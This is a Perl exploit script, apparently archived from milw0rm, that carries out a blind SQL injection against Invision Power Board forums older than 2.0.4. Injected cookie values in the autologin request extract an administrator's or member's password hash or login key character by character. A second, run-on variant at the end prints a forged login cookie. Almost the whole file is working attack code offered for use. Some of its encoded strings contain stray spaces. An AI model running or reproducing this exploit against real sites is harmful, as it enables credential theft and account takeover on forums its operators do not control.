#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2 
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~]    SERVER : blah.com 
## [~]      PATH : /ipb13/
## [~] MEMBER ID : 1
## [~]    TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com  /ipb202/ 1 1
## [~]    SERVER : blah.com 
## [~]      PATH : /ipb202/
## [~] MEMBER ID : 1
## [~]    TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server    = $ARGV[0];
$path      = $ARGV[1];
$member_id = $ARGV[2];
$target    = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http://)!!;

$request  = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~]    SERVER : $server\r\n";
print "[~]      PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~]    TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar) > 0){
 print qq{bb DONE ] 
 
 MEMBER ID : $member_id
 };
 print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
 print $allchar."\r\n";
 }
 else
 {
 print "\b\b FAILED ]";
 }
 exit();  
 }
else 
 {  
  $allchar .= chr($i);
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0];
 $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
 $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7  2%69%6E%67%28"; 
 $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
 $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
 $nmalykh    = "%26%231054%3B%26%231081%3B+%26%231088%3B%26%231072  %3B%26%231073%3B%26%231086%3B%26%231090%3B%26%2310  72%3B%26%231077%3B%26%231090%3B%21";
 $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

 printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
 $path,$server,$cmember_id,$pass_hash1,$cmember_id,  $pass_hash2,$pass_hash3,$nmalykh);
 
 while(<$socket>) 
  { 
  if (/Set-Cookie: session_id=0;/) { return 1; }
  } 

 return 0;
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b\b/]";  }
  if($status==1){ print "\b\b-]";  }
  if($status==2){ print "\b\b\\]"; }
  if($status==3){ print "\b\b|]";  }
}

sub usage()
 {
 print q(
 Invision Power Board v < 2.0.4 SQL injection exploit
 ----------------------------------------------------
 USAGE:
 ~~~~~~
 r57ipb2.pl [server] [/folder/] [member_id] [target]
 
 [server]    - host where IPB installed
 [/folder/]  - folder where IPB installed
 [member_id] - user id for brute
 
 targets:
          0 - IPB 1.*
          1 - IPB 2.* (Prior To 2.0.4)
 
 e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
 ----------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }

use LWP::UserAgent;       $ua = new LWP::UserAgent;     $ua->agent("Mosiac 1.0" . $ua->agent);    if (!$ARGV[0]) {$ARGV[0] = '';}  if (!$ARGV[3]) {$ARGV[3] = '';}    my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';  my $user = $ARGV[1];     my $iver = $ARGV[2];     my $cpre = $ARGV[3];     my $dbug = $ARGV[4];         if (!$ARGV[0] and !$ARGV[1] and !$ARGV[2] and !$ARGV[3])  {          print "Input like ./perl ./r57ipb.pl [addres] [userid] [version] [c_fix]\r\n";          print "[addres]  = like www.site.com/forum/\r\n";          print "[userid]  = user id\r\n";          print "[version] = 1 - v1.0.x or 2 - v2.0.x\r\n";  		print "[c_fix]	 = cookie prefix by defoult its ibf_\r\n";          exit;  }    my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");    my $outputs = '';    for( $i=1; $i < 33; $i++ )  {          for( $j=0; $j < 16; $j++ )          {                  my $current = $charset[$j];              my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2  527$current%2527)/*" :  "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i  ,1)%3d%2527$current%2527)/*";                  my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);                  my $res = $ua->get($path, @cookie);                    # If we get a valid sql request then this                  # does not appear anywhere in the sources                  $pattern = '<title>(.*)Log In(.*)</title>';                    $_ = $res->content;                    if ($dbug) { print };                    if ( !(/$pattern/) )                  {                          $outputs .= $current;                          print "$i char = $current\n";                      last;                  }            }    if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }  }  print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;  exit;    # milw0rm.com [2005-05-26]